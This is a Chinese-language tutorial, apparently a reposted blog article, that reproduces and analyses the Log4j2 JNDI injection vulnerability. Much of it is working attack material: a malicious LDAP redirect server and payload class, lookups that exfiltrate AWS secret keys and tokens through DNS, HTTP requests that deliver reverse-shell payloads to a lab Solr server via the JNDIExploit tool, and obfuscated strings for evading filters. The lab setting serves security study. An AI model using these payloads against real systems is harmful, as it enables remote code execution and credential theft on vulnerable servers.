1、log4j簡(jiǎn)介
Apache Log4j2是?個(gè)基于Java的?志記錄?具。
該?具重寫了Log4j框架,并且引?了?量豐富的特性。
該?志框架被?量?于業(yè)務(wù)系統(tǒng)開(kāi)發(fā),?來(lái)記錄?志信息。
?多數(shù)情況下,開(kāi)發(fā)者可能會(huì)將?戶輸?導(dǎo)致的錯(cuò)誤信息寫??志中。
因?yàn)閘og4j是一個(gè)偏底層的組件,所以許多的服務(wù)都受到了影響,
這個(gè)漏洞在剛公布的時(shí)候,也是引發(fā)了相當(dāng)?shù)霓Z動(dòng),
2、復(fù)現(xiàn)
2.1、高版本測(cè)試
先說(shuō)結(jié)論,ldap協(xié)議,
使用1.8_65和1.8_151都可以直接觸發(fā),
也不用設(shè)置“com.sun.jndi.rmi.object.trustURLCodebase”屬性
但是1.8_202還是j了,
即使設(shè)置“com.sun.jndi.rmi.object.trustURLCodebase”屬性,也沒(méi)有發(fā)出請(qǐng)求
rmi協(xié)議
1.8_65 直接觸發(fā)
1.8_151 需要設(shè)置“com.sun.jndi.rmi.object.trustURLCodebase”屬性
1.8_202 J
還有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ”
這個(gè)“exp”區(qū)分大小寫,要與rmi惡意服務(wù)提供的保持一致
2.2、測(cè)試代碼
先引入組件,
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
main.java
package com.example.demo2;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {
private static final Logger logger =LogManager.getLogger();
public static void main(String[] args) throws Exception {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//ldap://127.0.0.1:7777/Exp
logger.error("${jndi:ldap://127.0.0.1:7777/Exp}");
}
}
這個(gè)ldap和惡意類還使用上一節(jié)提到的,
ldap_Hack_server.java
package com.example.demo2;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.1.25:8888/#jndiexp"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult
result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
jndiexp.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2; 增加會(huì)出錯(cuò)
public class jndiexp implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
2.3、補(bǔ)充之dns探測(cè)
2.3.1、rmi、ldap也可以dnslog探測(cè)
在使用dnslog探測(cè)漏洞的時(shí)候,
其實(shí)不僅僅dns協(xié)議可以,ldap和rmi協(xié)議也可以,
類似的rmi,
這里要注意下面,所以rmi協(xié)議相比較遜一些,
${jndi:rmi://rmi3.b5ar6g.dnslog.cn 這個(gè)后邊必須跟一些東西,比如
${jndi:rmi://rmi3.b5ar6g.dnslog.cn/xxx
但是不是太建議大家使用ldap和rmi畢竟有各種限制,
還是直接使用dnslog比較方便
2.3.2、dnslog外帶信息
另一個(gè)是dns、rmi、ldap都可以在探測(cè)dnslog的時(shí)候,外帶一些系統(tǒng)的信息,
類似的有以下,各位有空可以試試,筆者未作測(cè)試,
這些都是log4j組件中的一個(gè)特殊占位符
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
3、漏洞原理
3.1、漏洞的危害大的背景
在log4j剛出來(lái)的時(shí)候,危害相當(dāng)大,我們先說(shuō)下log4j正常的使用背景,
其實(shí)這個(gè)主要的原因,和日志有關(guān),日志是應(yīng)用軟件中不可缺少的部分,
Apache的開(kāi)源項(xiàng)目log4j是一個(gè)功能強(qiáng)大的日志組件,提供方便的日志記錄。
最簡(jiǎn)單的日志打印 我們看如下登錄場(chǎng)景:
咱們今天不用關(guān)心登錄是怎么實(shí)現(xiàn)的,只用關(guān)心用戶名name字段就可以了,代碼如下
public void login(string name){
String name = "test"; //表單接收name字段
logger.info("{},登錄了", name); //logger為log4j
}
很簡(jiǎn)單,用戶如果登陸了,我們通過(guò)表單接收到相關(guān)name字段,
然后在日志中記錄上這么一條記錄。這個(gè)看起來(lái)是很常規(guī)的操作了,
記錄日志為什么會(huì)導(dǎo)致漏洞呢?這主要就是lookup支持打印系統(tǒng)變量
且name變量是用戶輸入的,用戶輸入什么都可以,
假設(shè)輸入如下,
上述代碼會(huì)輸出,
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登錄了
為什么會(huì)產(chǎn)生這種奇怪的現(xiàn)象呢?
是因?yàn)閘og4j提供了一個(gè)lookup的功能,可以把一些系統(tǒng)變量放到日志中,
比較敏銳的同學(xué)可能已經(jīng)開(kāi)始察覺(jué)到了,現(xiàn)在越來(lái)越像sql注入了。
其實(shí)這就是jndi注入了,之前我們說(shuō)過(guò),jndi注入可以利用rmi、ldap協(xié)議實(shí)現(xiàn)rce
3.2、具體的代碼調(diào)試
進(jìn)來(lái)先關(guān)注,這個(gè)log4j的版本,
有的maven會(huì)導(dǎo)入多個(gè)版本,在測(cè)試的時(shí)候,進(jìn)入別的版本
然后每個(gè)函數(shù)可能會(huì)傳遞很多的參數(shù),其實(shí)我們不用管別的,這里盯緊我們可控的參數(shù)即message
然后,繼續(xù)向下跟,都是很短的函數(shù),沒(méi)有if..else..這種條件結(jié)構(gòu)直接向下走就行,
這個(gè)小技巧就是,直接ctrl進(jìn)到方法的實(shí)現(xiàn),
然后大個(gè)斷點(diǎn),然后直接“步過(guò)”到斷點(diǎn)
一個(gè)方法,一個(gè)斷點(diǎn),一個(gè)“步過(guò)”
直到走到1641行,按照我們的估算,下一次是同頁(yè)面的1572行,
但是當(dāng)1572行打了斷點(diǎn),“步過(guò)”的時(shí)候直接訪問(wèn)dnslog/彈窗了
這就說(shuō)明在1641行不能在“步過(guò)”了,需要“步入”
重新來(lái),斷點(diǎn)就留到1641,直接debug到這,然后“步入”到87行的log方法,
但是這里有一個(gè)新的問(wèn)題是,遇到if..else..怎么知道進(jìn)的是哪個(gè),
不知道就都打上斷點(diǎn),再次“步過(guò)”
經(jīng)過(guò)測(cè)試是進(jìn)入if,但是這個(gè)log方法直接跟進(jìn)去是一個(gè)定義的接口,
所以也不能直接“步過(guò)”,繼續(xù)“步入”,到了27行,
繼續(xù)跟到這種結(jié)構(gòu),即if..else..下面還有代碼,
這里的重點(diǎn)不是進(jìn)的 if還是else,重點(diǎn)是最終的漏洞是否在if..else..結(jié)構(gòu)內(nèi)觸發(fā),
假設(shè)沒(méi)有在if..else..語(yǔ)句內(nèi)觸發(fā),那么其實(shí)這個(gè)if..else...的代碼可以忽略,
所以這種,我們直接在下面打斷點(diǎn),看看有沒(méi)有觸發(fā),
假設(shè)觸發(fā)了,我們?cè)谥匦聛?lái)一遍定位是if還是else,并繼續(xù)向下
假設(shè)沒(méi)有觸發(fā),我們就直接忽略
繼續(xù)可以跟到這個(gè)107行,記錄下
再向下就到這了,
這個(gè)循環(huán)該到第八次的時(shí)候即i=8時(shí),在步過(guò)就是9次的時(shí)候,直接步入,
因?yàn)閕=8的時(shí)候在步過(guò)就會(huì)直接彈窗,即漏洞是在第8次觸發(fā)的
然后跟到這個(gè)MessagePatternConverter.class文件,
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
這段代碼在正常的log處理過(guò)程中對(duì) ${ 這兩個(gè)緊鄰的字符做了檢測(cè),
一旦匹配到類似于表達(dá)式結(jié)構(gòu)的字符串就會(huì)觸發(fā)替換機(jī)制。
然后這個(gè)地方是調(diào)試的一個(gè)重點(diǎn),
StrSubstitutor.class文件有多個(gè)while循環(huán)的這個(gè)地方觸發(fā)的,但是正常跟進(jìn)需要循環(huán)很多次,
相當(dāng)簡(jiǎn)單的是可以手動(dòng)修改一些變量的值,這個(gè)值可能還是會(huì)繞一會(huì),
想繞的可以自己找找具體是在哪觸發(fā)的,不想的可以看下下面的,
直接將斷點(diǎn)打到該文件的418行,然后“步過(guò)”到418行,
在這里解析到的字符串已經(jīng)是“jndi:ldap://127.0.0.1:7777/Exp”
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
到這,log4j將會(huì)使用“jndi:ldap://127.0.0.1:7777/Exp”作為lookup參數(shù),進(jìn)行正常的lookup查詢
之前我們說(shuō)過(guò)當(dāng)lookup函數(shù)可控時(shí)就會(huì)造成rce,所以看到lookup函數(shù)且參數(shù)可控,一定要警惕,
繼續(xù),在這個(gè)地方,
通過(guò)調(diào)試發(fā)現(xiàn)interpolator類的lookup函數(shù)會(huì)以:為分隔符進(jìn)行分割以獲取prefix內(nèi)容(即152行代碼)
傳入的prefix內(nèi)容為jndi字符串因此this.strLookupMap獲取到的類為JndiLookup類(156行)
繼續(xù),
繼續(xù),
筆者到這一步,繼續(xù)步入就直接彈窗了,
到這,其實(shí)還是log4j組件內(nèi),即下面應(yīng)該跳到j(luò)dk底層代碼的lookup函數(shù),
然后去加載我們的惡意類,但是不知道為什么無(wú)法跟進(jìn)去,先到這把
調(diào)試參考:
https://www.anquanke.com/post/id/262668
4、靶場(chǎng)測(cè)試
4.1、dns探測(cè)
使用vulhub搭建一個(gè)靶場(chǎng),直接poc搞一下dns,
GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.30363k.dnslog.cn} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
正常情況下,這種地方一般都是burp的插件或者xray或者其他掃描器掃到,
4.2、工具下載與使用
然后就是利用,下載利用工具,
https://github.com/WhiteHSBG/JNDIExploit
kali起來(lái)環(huán)境,
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x
注意這個(gè)IP不要寫0.0.0.0;否則會(huì)攻擊失敗
-u可以查看payload,根據(jù)不同的框架選擇即可,
這個(gè)地方也可以加上-i IP
這樣出來(lái)的payload就不是0.0.0.0而是可以直接利用的了
具體的使用可以看下,工具地址有說(shuō)明,
4.3、測(cè)試
由上面我們直接測(cè)試,
一開(kāi)始使用一些有回顯的測(cè)試,都沒(méi)有回顯,
然后換直接反彈shell的,
kali起監(jiān)聽(tīng),直接拿到shell,
詳細(xì)請(qǐng)求數(shù)據(jù)包,
GET /solr/admin/cores?action=${jndi:ldap://192.168.1.27:1389/Basic/ReverseShell/192.168.1.27/889} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4.4、手工可以測(cè)出,部分掃描器掃不到
其實(shí)根據(jù)以上的原理,就可以看到,漏洞的觸發(fā)是需要有打印log這個(gè)需求,
但是不是所有的url的所有參數(shù)(包含header頭參數(shù))都會(huì)被打印,
即漏洞的觸發(fā)點(diǎn)可能只會(huì)是在部分uri的部分參數(shù)(包含header頭參數(shù))
回到問(wèn)題,為什么有的掃描器掃不到,
著看掃描器實(shí)現(xiàn)的原理,假設(shè)掃描器是直接拼接了用戶給的url,比如根目錄
但是根目錄沒(méi)有漏洞的觸發(fā)點(diǎn)的話,掃不到很正常,文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-692074.html
所以想讓掃描器覆蓋到,筆者想到的就是配合爬蟲(chóng),
將爬蟲(chóng)爬到每個(gè)uri都過(guò)一遍
5、bypass
一些流傳的bypass姿勢(shì),文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-692074.html
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
到了這里,關(guān)于Java代碼審計(jì)15之Apache log4j2漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!